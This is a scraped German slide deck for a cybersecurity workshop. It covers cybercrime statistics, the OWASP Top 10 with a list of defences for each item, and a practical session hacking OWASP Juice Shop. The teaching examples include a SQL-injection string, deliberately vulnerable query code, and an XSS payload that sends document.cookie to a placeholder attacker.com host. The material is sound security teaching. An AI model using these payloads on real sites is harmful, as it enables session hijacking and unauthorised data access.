Upload
dinhkhanh
View
234
Download
5
Embed Size (px)
Citation preview
Cyber Security OWASP Juice Shop - how to hack an intentionally insecure webshop
3 Praxisteil (60 min)Wir hacken den OWASP Juice Shop
2 Cyber Security im Unternehmen (30 min)Einblick in die Sicherungsmaßnahmen bei Dräger
Basics (30 min)Cyber Security, Cyber Crime, Zahlen & Fakten, OWASP Top 101
Wired (2017), https://www.wired.com/2017/04/hackers-hijacked-banks-entire-online-operation/
Cyber Security
Cyber Crime
Cybercrime, or computer related crime, is crime that involves a computer and a network. The
computer may have been used in the commission of a crime, or it
may be the target. Moore, R. (2005)
Cyber crime: Investigating High-Technology Computer Crime
Cybersecurity [..] is the protection of computer systems from the
theft or damage to the hardware, software or the information on
them, as well as from disruption or misdirection of the services
they provide. Gasser, Morrie (1988)
Building a Secure Computer System
Cyber Crime
Schaden für die globale Wirtschaft / jährlich350 Mrd. €250.000
Ø 9 Mio. €
Neue Malwarevarianten gefunden / täglich
Kosten für US Konzerne / jährlich
71 % Aller erfolgreichen Cyberattacken in Unternehmen mit weniger als 100 Mitarbeitern
Veriz
on (2
016)
, Ver
izon’s
201
6 Da
ta B
reac
h In
vest
igat
ions
Rep
ort
McA
ffee
(201
4), E
stim
ate
the
Glo
bal C
ost o
f Cyb
ercr
ime
2014
~
36%
Unterbrechung des Geschäftsbetriebs
39%
Datenverlust/ Diebstahl
20%
Umsatzverlust
5%
Andere Kosten
Anteil am Gesamtschaden
2016
McAfee (2016), 2016 Cost of Cyber Crime Study & the Risk of Business Innovation
Akteure
Staaten und Geheimdienste
Wirtschafts-spione
Cyber-Terroristen
95%Cyber-Kriminelle
Cyber-Aktivisten Skriptkiddies
Mikko Hypponen - Chief Research Officer of F-Secure (2016)
71% 29%VS
< 100 MitarbeiterWeb-based Attacks
MalwarePhishing
Social engineering
KonzerneDenial of ServiceMalicious InsidersMalicious CodeStolen Devices
Verizon (2016), Verizon’s 2016 Data Breach Investigations Report
Einbrüche nach Vektor
Alle anderen
POS Intrusions
Angriffe auf Webapps
40%39%
21%
Verizon (2016), Verizon’s 2016 Data Breach Investigations Report
Programmierfehler, ausstehende Updates
Implementierung
Spezifikation von Funktionsweisen, Schnittstellen, Datenformaten, Übertragungsprotokollen
Design
Ungeeignete KonfigurationKonfiguration
Bewusste/unbewusste Sicherheitsvorfälle durch Mitarbeiter
Mensch
Sicherheitslücken
BSI (2012), Cyber-Bedrohungen – ein Einstieg, 2012
Non-Profit-Organisation
Ziel ist Sicherheit von Diensten und Anwendungen im WWW verbessern
owasp.org
Erstveröffentlichung 2003
Liste der 10 aktuell bedeutendsten Sicherheitslücken in Webapplikationen
Exemplarische Angriffs- & Verteidigungsstrategien
Top 10Organisation
OWASP
Weitere ProjekteDevelopers Guide, Cheat Sheet Series, Testing Guide, Code Review Guide
A2 – Fehler in Authentifizierung und Session-Management
A1 – Injections
A3 – Cross-Site Scripting (XSS)
A4 – Unsichere direkte Objektreferenzen
A5 – Sicherheitsrelevante Fehlkonfiguration
A6 – Verlust der Vertraulichkeit sensibler Daten
A7 – Fehlerhafte Authorisierung auf Anwendungsebene
A8 – Cross-Site Request Forgery (CSRF)
A9 – Nutzung von Komponenten mit bekannten Schwachstellen
A10 – Ungeprüfte Um- und Weiterleitungen
OWASP Top 10
James Hobson (2014), http://hackaday.com/2014/04/04/sql-injection-fools-speed-traps-and-clears-your-record/
Injections
Verarbeitung von Client-Daten:
http://example.com/app/accountView?id=[0-9]+
String query = "SELECT * FROM accounts WHERE id='" + request.getParameter("id") + "'";
Angriffsszenarien
- Prepared Statements
- Stored Procedures
- Escapen von User-Input
- Whitelist Input-Validation
- DB Privilegien minimieren
Schutz
Missbräuchlicher Abfrage:
http://example.com/app/accountView?id=' or ‚1'='1
SELECT * FROM accounts WHERE id='' OR '1'='1';
Auth- & Session-Management
Session-ID in URL
http://example.com/flight/37?jsessionid=123
Mögliche Übernahme des Logins / Session-Fixation
Angriffsszenarien
- Zentrales Authentifizierung und Session-Management
- Verschlüsselte Übertragung
- Session-ID unvorhersehbar
- Keine Session-ID in URL
- Session-Fixation verhindern
- Session Timeout, Invalidierung bei Logout
- Schutz vor BruteForce etc.
Schutz
Anwendungs-Timeout falsch konfiguriert
Nutzung eines öffentlichen PCs
Cross-Site Scripting (XSS)
Sucuri (2014), https://blog.sucuri.net/2014/06/serious-cross-site-scripting-vulnerability-in-tweetdeck-twitter.html
Cross-Site Scripting (XSS)
Ungefilterte Client-Daten:
(String) page += „<h1>Guestbook</h1>“; for (String comment: comments) { page += „<p>“ + comment.message + „</p>“; }
Angriffsszenarien
- Kontextabhängig escapen
- Eingabeprüfung über Whitelisting
- HTTPOnly Cookie-Flag (kein JS Zugriff)
- Content Security Policy (browserbasiert)
Schutz
Manipulierte Eingabe führt zur Codeausführung im Browser und sendet Session-ID des Benutzers an den Angreifer.
<script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi? foo=‚+document.cookie</script>
Unsichere Objektreferenzen
EuroVPS (2015), https://www.eurovps.com/blog/security-vulnerabilities-part-2
Unsichere Objektreferenzen
Direkte Objektreferenz:
Über den API-Endpunkt werden Account-Infos für den aktuellen Anwender via Javascript abfragt:http://api.example.com/accountInfo?id=myIdDie Implementierung prüft keine Zugriffsrechte: String query = "SELECT * FROM accounts WHERE id = ?“; PreparedStatement pstmt = connection.prepareStatement(query , … );pstmt.setString(1, request.getparameter("id")); ResultSet results = pstmt.executeQuery( );
Angriffsszenarien
- Indirekte Objektreferenzen
- Zugriffsberechtigungen bei Objektreferenzen prüfen
Schutz
Ein Angreifer kann so fremde Accounts einsehen:
http://api.example.com/accountInfo?id=notMyId
Fehlkonfiguration
Fehlkonfiguration
Standard-Benutzerkonto:
Benutzerkonto mit Standardkonto installiert, Der Angreifer entdeckt dies und erhält so Zugriff auf das System.
Directory Listing/Zugriff:
Angreifer ruft gesamten öffentliche Dateien ab, findet Relikte der Entwicklung, bzw. nicht ausreichend geschützte Dateien.
Stacktraces öffentlich:
Angreifer erhält sensible Informationen über die Implementierung, etc.
Angriffsszenarien
- Robuste Anwendungsarchitektur, Trennung und Absicherung einzelner Komponenten.
- Periodische Tests und Audits
- Identische Konfiguration aller Umgebungen
- Prozess zum schnellen Ausrollen von Softwareupdates auf allen Umgebungen.
- Verschiedene Zugangsdaten pro Umgebung
-
Schutz
Kay Röpke (2016), https://twitter.com/kroepke
Vertraulichkeit sensibler Daten
Vertraulichkeit sensibler Daten
Schwache Krypto-Verfahren:
Angreifer gelangt an gehashte Benutzerdaten und kann die mit md5 gehashten Kennwörter über Rainbow-Tables entschlüsseln]
Keine verschlüsselte Übertragung:
Angreifer liest im offenen WLAN mit, übernimmt Sitzung über mitgelesenes Cookie
Verschlüsselung ohne Public/Private-Key:
Anwendung speichert und entschlüsselt Kreditkartendaten über Secret. Angreifer gelangt an über Webapplikation an Secret und verschlüsselte Daten.
Angriffsszenarien
- Keine unnötiges Speichern vertraulicher Daten.
- Verwendung starker Algorithmen und Verschlüsselung
- Hashen von Kennwörtern mit speziellen Algorithmen (bcrypt, PBKDF2, scrypt)
- Deaktivieren von Autovervollständigung, Caching bei vertraulichen Daten.
- Klärung abzusichernder Bedrohung (intern/extern). Mit geeigneter Verschlüsselung übertragen/speichern/absichern (Public/Private-Key)
Schutz
A2 – Fehler in Authentifizierung und Session-Management
A1 – Injections
A3 – Cross-Site Scripting (XSS)
A4 – Unsichere direkte Objektreferenzen
A5 – Sicherheitsrelevante Fehlkonfiguration
A6 – Verlust der Vertraulichkeit sensibler Daten
A7 – Fehlerhafte Authorisierung auf Anwendungsebene
A8 – Cross-Site Request Forgery (CSRF)
A9 – Nutzung von Komponenten mit bekannten Schwachstellen
A10 – Ungeprüfte Um- und Weiterleitungen
OWASP Top 10
Vercacode (2015), https://www.veracode.com/directory/owasp-top-10
3 Praxisteil (60 min)Wir hacken den OWASP Juice Shop
2 Cyber Security im Unternehmen (30 min)Einblick in die Sicherungsmaßnahmen bei Dräger
Basics (30 min)Cyber Security, Cyber Crime, Zahlen & Fakten, OWASP Top 101
3 Praxisteil (60 min)Wir hacken den OWASP Juice Shop
2 Cyber Security im Unternehmen (30 min)Einblick in die Sicherungsmaßnahmen bei Dräger
Basics (30 min)Cyber Security, Cyber Crime, Zahlen & Fakten, OWASP Top 101
Wir hacken in Zweiergruppen2er-Gruppen01
Wir haben 16 Shop Instanzen für euch aufgesetzt. Shop-URLs werden gleich ausgeteilt.
Bereits installiert03
Beginnen mit den Sicherheitslüclen 1-3
10 Minuten Slots05
Ein Web-affiner schnappt sich jeweils einen Web-Unerfahrenen
Erfahren/Unerfahren02
Kommt ihr nicht weiter oder findet keinen Anfang? Einfach fragen!
Fragen erwünscht!04
Stellt vor, wie ihr vorgegangen seid.
Vorgehen präsentieren06
Martin AbrahamWeb: https://www.checkdomain.de/Email: [email protected]
Twitter: https://twitter.com/mabrahamdeXing: https://www.xing.com/martin-abraham
Github: https://github.com/mabrahamdeSlideshare: https://www.slideshare.net/MartinAbraham9
Wired (2017), How Hackers Hijacked a Bank’s Entire Online Operation - https://www.wired.com/2017/04/hackers-hijacked-banks-entire-online-operation/
Verizon (2016), Verizon’s 2016 Data Breach Investigations Report - http://www.verizonenterprise.com/verizon-insights-lab/dbir/2016/
McAffee (2014), Estimate the Global Cost of Cybercrime 2014 - https://www.mcafee.com/us/resources/reports/rp-economic-impact-cybercrime2.pdf
McAfee (2016), 2016 Cost of Cyber Crime Study & the Risk of Business Innovation - http://www.ponemon.org/library/2016-cost-of-cyber-crime-study-the-risk-of-business-innovation
VeraCode (2015), OWASP Top 10 Vulnerabilities - https://www.veracode.com/directory/owasp-top-10
QuellenBSI (2012), Cyber-Bedrohungen – ein Einstieg - https://www.allianz-fuer-cybersicherheit.de/ACS/DE/_/downloads/BSI-CS_037.pdf?__blob=publicationFile&v=2
Hackaday (2014), SQL Injections fools speed traps and clears your records - http://hackaday.com/2014/04/04/sql-injection-fools-speed-traps-and-clears-your-record/
Sucuri (2014), Serious Cross Site Scripting Vulnerability in TweetDeck - https://blog.sucuri.net/2014/06/serious-cross-site-scripting-vulnerability-in-tweetdeck-twitter.html
EuroVPS (2015), Your site’s top 10 security vulnerabilities: Part 2 -https://www.eurovps.com/blog/security-vulnerabilities-part-2